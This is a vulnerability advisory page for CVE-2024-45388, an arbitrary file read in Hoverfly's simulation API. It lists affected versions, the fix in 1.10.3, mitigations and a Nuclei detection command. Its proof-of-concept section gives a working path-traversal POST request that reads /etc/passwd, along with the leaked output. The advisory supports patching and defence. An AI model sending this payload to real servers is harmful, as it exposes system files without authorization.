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HIGH severity

CVE-2024-45388 — hoverfly

HIGH

CVE-2024-45388 is a high-severity (CVSS 7.5) Information Exposure vulnerability in github.com/spectolabs/hoverfly. 1 public exploit reference exists, so weaponization risk is real. A fix is available for github.com/spectolabs/hoverfly — see the affected versions and patch details below.

Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)

Also known asGHSA-6xx4-x46f-f897GO-2024-3108
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
1 known
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-45388.

EPSS Exploitation Probability

via FIRST.org ↗
55.6%probability of exploitation in next 30 days
High Risk0.00%
Lower risk than most CVEs99th percentile — riskier than 99% of all scored CVEsHighest risk
44.1%62.8%81.4%100.0%93.7%55.6%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2024-45388 by exploitation likelihood (EPSS) against impact (CVSS). In the shaded patch-first corner (EPSS 50%+, CVSS 7.0+).

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the 50–90% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected
🐹github.com/spectolabs/hoverfly🐹github.com/SpectoLabs/hoverfly

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Details

The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.

# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
	if filepath.IsAbs(filePath) {
		return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
	}

	fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
	if err != nil {
		return "", err
	}

	return string(fileContents[:]), nil
}

Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.

This issue was found using the Uncontrolled data used in path expression CodeQL query for python.

Proof of Concept

Send the following POST request to read the /etc/passwd file:

POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

Response will contain the Hoverfly's server /etc/passwd

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close

{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}

Impact

This issue may lead to Information Disclosure.

Remediation

The code is preventing absolute paths from being read. Make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/"))

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/spectolabs/hoverflyall versions1.10.3go get github.com/spectolabs/hoverfly@v1.10.3
🐹Gogithub.com/SpectoLabs/hoverflyall versions1.10.3go get github.com/SpectoLabs/hoverfly@v1.10.3

Affected Products

1 product · 1 configurations
Application
hoverflyhoverfly
< 1.10.3
range
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/spectolabs/hoverfly, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/spectolabs/hoverfly to 1.10.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-45388 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

How to detect CVE-2024-45388

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2024-45388 -u https://target
Template
Hoverfly < 1.10.3 - Arbitrary File Read
Severity
high
Impact
Unauthenticated attackers can read arbitrary files from the Hoverfly server including sensitive configuration data.
Remediation
Update Hoverfly to version 1.10.3 or later.

Template by ProjectDiscovery nuclei-templates (iamnoooob, rootxharsh, pdresearch), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

### Details The `/api/v2/simulation` [POST handler](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87) allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. ```go # https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186 func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) { if filepath.IsAbs(filePath) { return
O3 Security · Impact-Aware SCA

Is CVE-2024-45388 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2024-45388: hoverfly Info Disclosure — Fixed in 1.10.3